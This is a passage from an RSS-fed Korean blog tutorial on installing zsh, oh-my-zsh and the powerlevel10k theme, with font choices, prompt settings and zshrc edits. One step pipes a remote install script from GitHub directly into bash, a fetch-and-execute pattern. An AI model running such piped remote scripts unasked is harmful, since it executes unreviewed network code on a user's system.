class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;(username):x:(uid):(gid):(comment):(home dir):(shell path) user:x:0:0:user:/home/user:/bin/zsh &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 터미널을 재시작한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo $SHELL&lt;/code&gt; 명령어 출력결과로 zsh가 나오면 변경이 완료된 것이다.&lt;/p&gt; &lt;hr /&gt; &lt;h1 id=&quot;oh-my-zsh-설치&quot;&gt;Oh-My-Zsh 설치&lt;/h1&gt; &lt;p&gt;zsh 테마 oh-my-zsh를 설치하여 관리할 수 있도록 한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh | /bin/bash - &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;필자는 $HOME/.zsh/ 에 zsh 관련 설정 파일을 관리하므로 해당 디렉토리로 .oh-my-zsh를 옮긴다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/.zsh &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/.zsh &lt;span class=&quot;nb&quot;&gt;mv&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/.oh-my-zsh &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/.zsh/ &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h1 id=&quot;powerlevel10k-설치&quot;&gt;powerlevel10k 설치&lt;/h1&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git clone &lt;span class=&quot;nt&quot;&gt;--depth&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 https://github.com/romkatv/powerlevel10k.git &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/.zsh/.oh-my-zsh/custom/themes/powerlevel10k &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;powerlevel10k저장소에서 클론한다.&lt;/p&gt; &lt;p&gt;클론 시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.oh-my-zsh/custom/themes/powerlevel10k&lt;/code&gt; 에 저장시켜 .oh-my-zsh가 powerlevel10k 테마를 인식할 수 있도록 한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.zshrc&lt;/code&gt; 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ZSH_THEME&lt;/code&gt; 변수를 아래 값과 같이 변경하여 zsh의 테마를 지정해준다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ZSH_THEME=&quot;powerlevel10k/powerlevel10k&quot;&lt;/code&gt;&lt;/p&gt; &lt;p&gt;또한 256 컬러를 지원하는 터미널에서만 사용할 수 있기에&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.zshrc&lt;/code&gt; 를 열어 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export TERM=xterm-256color&lt;/code&gt; 값을 설정해준다.&lt;/p&gt; &lt;p&gt;이후 아이콘을 출력시킬 폰트를 설치해야 한다.&lt;/p&gt; &lt;p&gt;폰트의 경우 p10k에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MesloLGS NF&lt;/code&gt; 를 공식 지원하고 있으니 왠만하면 해당 폰트를 설치할 수 있도록 하자. (아래 링크에서 폰트를 다운받을 수 있다.)&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/romkatv/powerlevel10k/#user-content-fonts&quot;&gt;https://github.com/romkatv/powerlevel10k/#user-content-fonts&lt;/a&gt;&lt;/p&gt; &lt;p&gt;또는 Nerd-Font라고 아이콘 글꼴, 세로폭 등이 커스텀된 글꼴을 만드는 프로젝트가 존재한다. Nerd-Font 사이트에서 자신이 사용하는 또는 자신에게 가장 취향에 맞는 폰트를 설치하면 된다.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/ryanoasis/nerd-fonts&quot;&gt;https://github.com/ryanoasis/nerd-fonts&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://www.nerdfonts.com/&quot;&gt;https://www.nerdfonts.com/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;필자는 현재 &lt;strong&gt;“Fantasque Sans”&lt;/strong&gt; 폰트가 마음에 들어 Nerd-Font에서 해당 폰트를 다운받아 사용하고 있다. Fantasque Sans 폰트 외에도 Hack, Mononoki, Fira Code 등 기타 유명한 코딩 폰트들이 존재하니 찾아보면 좋을 것이다.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/ryanoasis/nerd-fonts/tree/master/src/unpatched-fonts/FantasqueSansMono&quot;&gt;https://github.com/ryanoasis/nerd-fonts/tree/master/src/unpatched-fonts/FantasqueSansMono&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;./mdresources/dir_zsh_install.md_img/Untitled%201.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://www.programmingfonts.org/&quot;&gt;https://www.programmingfonts.org/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;프로그래밍 폰트를 체험할 수 있는 사이트이다.&lt;/p&gt; &lt;p&gt;이후 터미널을 다시 실행시키거나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p10k configure&lt;/code&gt; 명령어를 통해 p10k 테마를 설정한다.&lt;/p&gt; &lt;p&gt;필자의 사용 설정은 다음과 같다.&lt;/p&gt; &lt;p&gt;zsh 및 p10k가 업데이트되면서 해당 설정은 바뀔 수 있다.&lt;/p&gt; &lt;p&gt;one-line 설정&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;Prompt Style : (3) Rainbow Character Set : (1) Unicode Show current time? : (2) 24-hour format Prompt Separators : (1) Angled Prompt Heads : (1) Sharp Prompt Tails : (1) Flat Prompt Height : (1) One line Prompt Spacing : (1) Compact Icons : (2) Many icons [ (1) Few icons 사용해도 무방 ] Prompt Flow : (1) Concise Enable Transient Prompt? : (n) No Instant Prompt Mode : (1) Verbose (recommended) Apply changes to ~/.zshrc? : (y) Yes (recommended) &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;multi-line 설정&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;Does this look like a diamond (rotated square)? (y) Yes. Does this look like a lock? (y) Yes. Does this look like a Debian logo (swirl/spiral)? (y) Yes. Do all these icons fit between the crosses? (y) Yes. Icons... Prompt Style : (3) Rainbow Character Set : (1) Unicode Show current time? : (2) 24-hour format Prompt Separators : (1) Angled Prompt Heads : (1) Sharp Prompt Tails : (1) Flat Prompt Height : (2) Two lines Prompt Connection : (3) Solid (아무거나 상관 없음.) Prompt Frame : (1) No frame Connection Color : (1) Lightest. (4) Darkest (아무거나 상관 없음) Prompt Spacing : (1) Compact Icons : (2) Many icons [ (1) Few icons 사용해도 무방 ] Prompt Flow : (1) Concise Enable Transient Prompt? : (y) Yes Enable Transient Prompt? : (n) No Instant Prompt Mode : (1) Verbose (recommended) Apply changes to ~/.zshrc? : (y) Yes (recommended) Apply changes to ~/.zshrc? : (n) No &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;p10k-테마-커스텀하기&quot;&gt;p10k 테마 커스텀하기&lt;/h2&gt; &lt;p&gt;이후 디폴트 테마 설정이 마음에 들지 않아 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.p10k.zsh&lt;/code&gt; 파일을 추가로 수정하였다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS 변수의 # load 주석 제거 디렉토리를 보여주는 설정을 해당 설정값으로 세팅 typeset -g POWERLEVEL9K_SHORTEN_DIR_LENGTH=0 typeset -g POWERLEVEL9K_SHORTEN_DELIMITER=&quot;&quot; typeset -g POWERLEVEL9K_SHORTEN_STRATEGY=&quot;truncate_absolute_chars&quot; 디렉토리 배경색, 폰트 색, 스타일 지정 typeset -g POWERLEVEL9K_DIR_BACKGROUND=27 typeset -g POWERLEVEL9K_DIR_FOREGROUND=0 typeset -g POWERLEVEL9K_DIR_SHORTENED_FOREGROUND=232 typeset -g POWERLEVEL9K_DIR_ANCHOR_FOREGROUND=232 typeset -g POWERLEVEL9K_DIR_ANCHOR_BOLD=true 깃 관련 배경색, 폰트 색, 스타일 지정 typeset -g POWERLEVEL9K_VCS_CLEAN_BACKGROUND=35 typeset -g POWERLEVEL9K_VCS_MODIFIED_BACKGROUND=84 typeset -g POWERLEVEL9K_VCS_UNTRACKED_BACKGROUND=28 typeset -g POWERLEVEL9K_VCS_CONFLICTED_BACKGROUND=9 typeset -g POWERLEVEL9K_VCS_LOADING_BACKGROUND=8 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;xterm-256 의 색 설정 값을 preview로 보려면 아래 명령어를 통해 알 수 있다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for i in {0..255}; do print -Pn “%K{$i} %k%F{$i}${(l:3::0:)i}%f “ ${${(M)$((i%6)):#3}:+$’\n’}; done&lt;/code&gt;&lt;/p&gt; &lt;p&gt;해당 명령어를 외우는 것이 귀찮아서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alias&lt;/code&gt; 로 지정시켰다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alias colorpreview=&apos;for i in {0..255}; do print -Pn “%K{$i} %k%F{$i}${(l:3::0:)i}%f “ ${${(M)$((i%6)):#3}:+$’\n’}; done&apos;&lt;/code&gt;&lt;/p&gt; &lt;p&gt;alias 지정 후 colorpreview를 진행하면 256 색상에 대한 값들을 확인할 수 있다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;./mdresources/dir_zsh_install.md_img/Untitled%202.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt; &lt;hr /&gt; &lt;h2 id=&quot;번외--full_icon에서-none_icon-으로-바꾸는-법&quot;&gt;번외 : full_icon에서 none_icon 으로 바꾸는 법&lt;/h2&gt; &lt;p&gt;해당 방법은 NerdFont와 같이 아이콘을 지원하는 폰트를 사용할 경우 따로 작업을 해주지 않아도 된다.&lt;/p&gt; &lt;p&gt;코딩을 하다보면 폰트 호환성 등의 문제로 아이콘이 깨져 보이는 현상이 있을 수 있다.&lt;/p&gt; &lt;p&gt;이때 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.p10k.zsh&lt;/code&gt; 파일을 수정하는 것으로 아이콘을 보이지 않게끔 설정할 수 있다.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.p10k.zsh&lt;/code&gt; 파일을 연다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POWERLEVEL9K_MODE&lt;/code&gt; 변수를 찾는다. &lt;ol&gt; &lt;li&gt; &lt;p&gt;해당 변수는 아래와 같이 세팅이 되어 있을 것이다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; typeset -g POWERLEVEL9K_MODE=nerdfont-complete &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;아래 변수의 값을 바꾸어준다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; typeset -g POWERLEVEL9K_MODE=powerline &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;더이상 아이콘이 보이지 않는다. &lt;br /&gt; 그러나 추가적인 문제를 발견하였다. &lt;br /&gt; .git path가 있는 디렉토리에 접근 시 아이콘 한개가 깨져 보이는 것을 추가로 확인…&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;./mdresources/dir_zsh_install.md_img/Untitled%203.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;마찬가지로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.p10k.zsh&lt;/code&gt; 파일을 열어 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POWERLEVEL9K_VCS_BRANCH_ICON&lt;/code&gt; 변수를 찾는다. 해당 변수는 아래와 같이 세팅이 되어 있을 것이다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; typeset -g POWERLEVEL9K_VCS_BRANCH_ICON=&apos;\uF126 &apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;아래 변수의 값을 바꾸어준다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; typeset -g POWERLEVEL9K_VCS_BRANCH_ICON= &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;/ol&gt; &lt;p&gt;최종결과&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# Defines character set used by powerlevel10k. It&apos;s best to let `p10k configure` set it for you.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# full icon&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# typeset -g POWERLEVEL9K_MODE=nerdfont-complete&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# none icon&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;typeset&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;POWERLEVEL9K_MODE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;powerline &lt;span class=&quot;c&quot;&gt;# GIT BRANCH ICON ============================================================&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# Branch icon. Set this parameter to &apos;\UE0A0 &apos; for the popular Powerline branch icon.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# full icon&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# typeset -g POWERLEVEL9K_VCS_BRANCH_ICON=&apos;\uF126 &apos;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# none icon&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;typeset&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;POWERLEVEL9K_VCS_BRANCH_ICON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# Untracked files icon. It&apos;s really a question mark, your font isn&apos;t broken.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# Change the value of this parameter to show a different icon.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;typeset&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;POWERLEVEL9K_VCS_UNTRACKED_ICON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;?&apos;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h1 id=&quot;zshrc-파일-수정&quot;&gt;zshrc 파일 수정&lt;/h1&gt; &lt;p&gt;vscode ssh 등으로 접속 시도 시 zsh 쉘을 새로 열때마다 .zshrc 를 자동으로 실행시키지 않아 &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.oh-my-zsh&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p10k&lt;/code&gt;테마 등 여러 설정이 적용되지 않는 문제가 발생하였다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zshrc&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zsh/zshrc&lt;/code&gt; 와 같이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc&lt;/code&gt; 경로에 zsh 실행 시 동작하는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zshrc&lt;/code&gt; 파일이 존재한다.&lt;/p&gt; &lt;p&gt;해당 파일을 찾아 맨 밑 줄에 아래 코드를 추가한다.&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# Useful support for interacting with Terminal.app or other terminal programs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/etc/zshrc_&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TERM_PROGRAM&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/etc/zshrc_&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TERM_PROGRAM&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/etc/zshrc_default&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;만약 경로가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zshrc&lt;/code&gt; 가 아니라 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zsh/zshrc&lt;/code&gt; 인 경우에는 아래 vi 명령어로 경로를 수정한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;:%s#/etc/zshrc_#/etc/zsh/zshrc_#g &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zshrc_default&lt;/code&gt; 파일을 만들어 (경로가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zsh/zshrc&lt;/code&gt;인 경우에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zsh/zshrc_default&lt;/code&gt;) 파일을 만들면 되시겠다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/zshrc_default&lt;/code&gt; 파일에는 아래 코드를 추가한다.&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/.zshrc &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Tue, 04 Jul 2023 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/zsh_install</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/zsh_install</guid> <category>zsh</category> <category>linux</category> <category>linux</category> </item> </channel> </rss>
